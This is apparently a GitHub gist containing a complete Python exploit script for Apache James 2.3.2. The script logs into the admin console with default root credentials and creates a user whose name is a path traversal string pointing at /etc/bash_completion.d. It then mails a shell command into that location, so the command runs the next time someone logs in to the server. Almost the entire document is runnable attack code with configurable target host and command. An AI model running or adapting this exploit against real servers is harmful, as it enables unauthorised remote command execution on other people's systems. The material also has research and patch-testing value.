Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save sandeepl337/dc2ed37d8e405dc4d667484efd7657f0 to your computer and use it in GitHub Desktop.
Save sandeepl337/dc2ed37d8e405dc4d667484efd7657f0 to your computer and use it in GitHub Desktop.
An exploit for Apache James 2.3.2 that executes remote commands
""".
This script works on Apache James deployments using the default configuration.
It creates a new user and enqueues a payload to be executed the next time a user
logs in to the machine.
For more details, see: https://www.exploit-db.com/exploits/35513/.
"""
import gflags
import logging
import socket
import sys
import time
FLAGS = gflags.FLAGS
gflags.DEFINE_string('loglevel', 'INFO', 'The log level.')
gflags.DEFINE_string('admin_user', 'root', 'The administrator username.')
gflags.DEFINE_string('admin_password', 'root', 'The administrator password.')
gflags.DEFINE_string(
'host', '127.0.0.1', 'The host address of the Apache James deployment.')
gflags.DEFINE_integer(
'admin_port', 4555, 'The port number of the administration tool.')
gflags.DEFINE_integer('smtp_port', 25, 'The port number of the SMTP server.')
gflags.DEFINE_string(
'exploit_user', '../../../../../../../../etc/bash_completion.d',
'The exploited user\'s username.')
gflags.DEFINE_string(
'exploit_password', 'exploit', 'The exploited user\'s password.')
gflags.DEFINE_string(
'command', 'touch /tmp/proof.txt', 'The command to execute.')
# The number of bytes to receive from the admin and SMTP servers after each
# command.
RECV_BYTES = 1024
# The number of seconds to sleep after receiving data from the SMTP server.
SLEEP_SEC = 0.2
def ConnectToAdminServer():
"""Connects to the administration server.
Returns:
An open socket to the administration server.
"""
payload = ['%s\n' % FLAGS.admin_user,
'%s\n' % FLAGS.admin_password]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((FLAGS.host, FLAGS.admin_port))
RecvAndSleep(s)
SendPayload(s, payload)
logging.info(
'Connected to the admin console as %s/%s.' % (
FLAGS.admin_user, FLAGS.admin_password))
return s
def ConnectToSmtpServer():
"""Connects to the SMTP server.
Returns:
An open socket to the SMTP server.
"""
payload = ['ehlo [email protected]\r\n']
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((FLAGS.host, FLAGS.smtp_port))
SendPayload(s, payload)
logging.info('Connected to SMTP server.')
return s
def CreateNewSmtpUser(s):
"""Creates a new SMTP user via the administration server.
Args:
s: An open socket to the administration server.
"""
payload = ['adduser %s %s\n' % (FLAGS.exploit_user, FLAGS.exploit_password),
'quit\n']
SendPayload(s, payload)
logging.info('Created new user %s/%s' % (
FLAGS.exploit_user, FLAGS.exploit_password))
s.close()
def RecvAndSleep(s):
"""Receives data from a socket and sleeps.
Args:
s: An open socket.
"""
s.recv(RECV_BYTES)
time.sleep(SLEEP_SEC)
def SendPayload(s, payload):
"""Sends a payload over the socket.
Args:
s: An open socket.
payload: An array of strings to be sent over the socket.
"""
for line in payload:
s.send(line)
RecvAndSleep(s)
def SendSmtpPayload(s):
"""Sends the payload to the SMTP server.
Args:
s: An open socket to the SMTP server.
"""
payload = ['mail from: <\'@team.pl>\r\n',
'rcpt to: <%s>\r\n' % FLAGS.exploit_user,
'data\r\n',
'From: [email protected]\r\n\r\n\'\n%s\n\r\n.\r\n' % FLAGS.command,
'quit\r\n']
SendPayload(s, payload)
s.close()
logging.info('Sent payload %s' % ''.join(payload))
def Main(argv):
try:
argv = FLAGS(argv)
except gflags.FlagsError, e:
print '%s\nUsage: %s ARGS\n%s' % (e, sys.argv[0], FLAGS)
sys.exit(-1)
logging.basicConfig(level=FLAGS.loglevel)
CreateNewSmtpUser(ConnectToAdminServer())
SendSmtpPayload(ConnectToSmtpServer())
if __name__ == '__main__':
Main(sys.argv)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment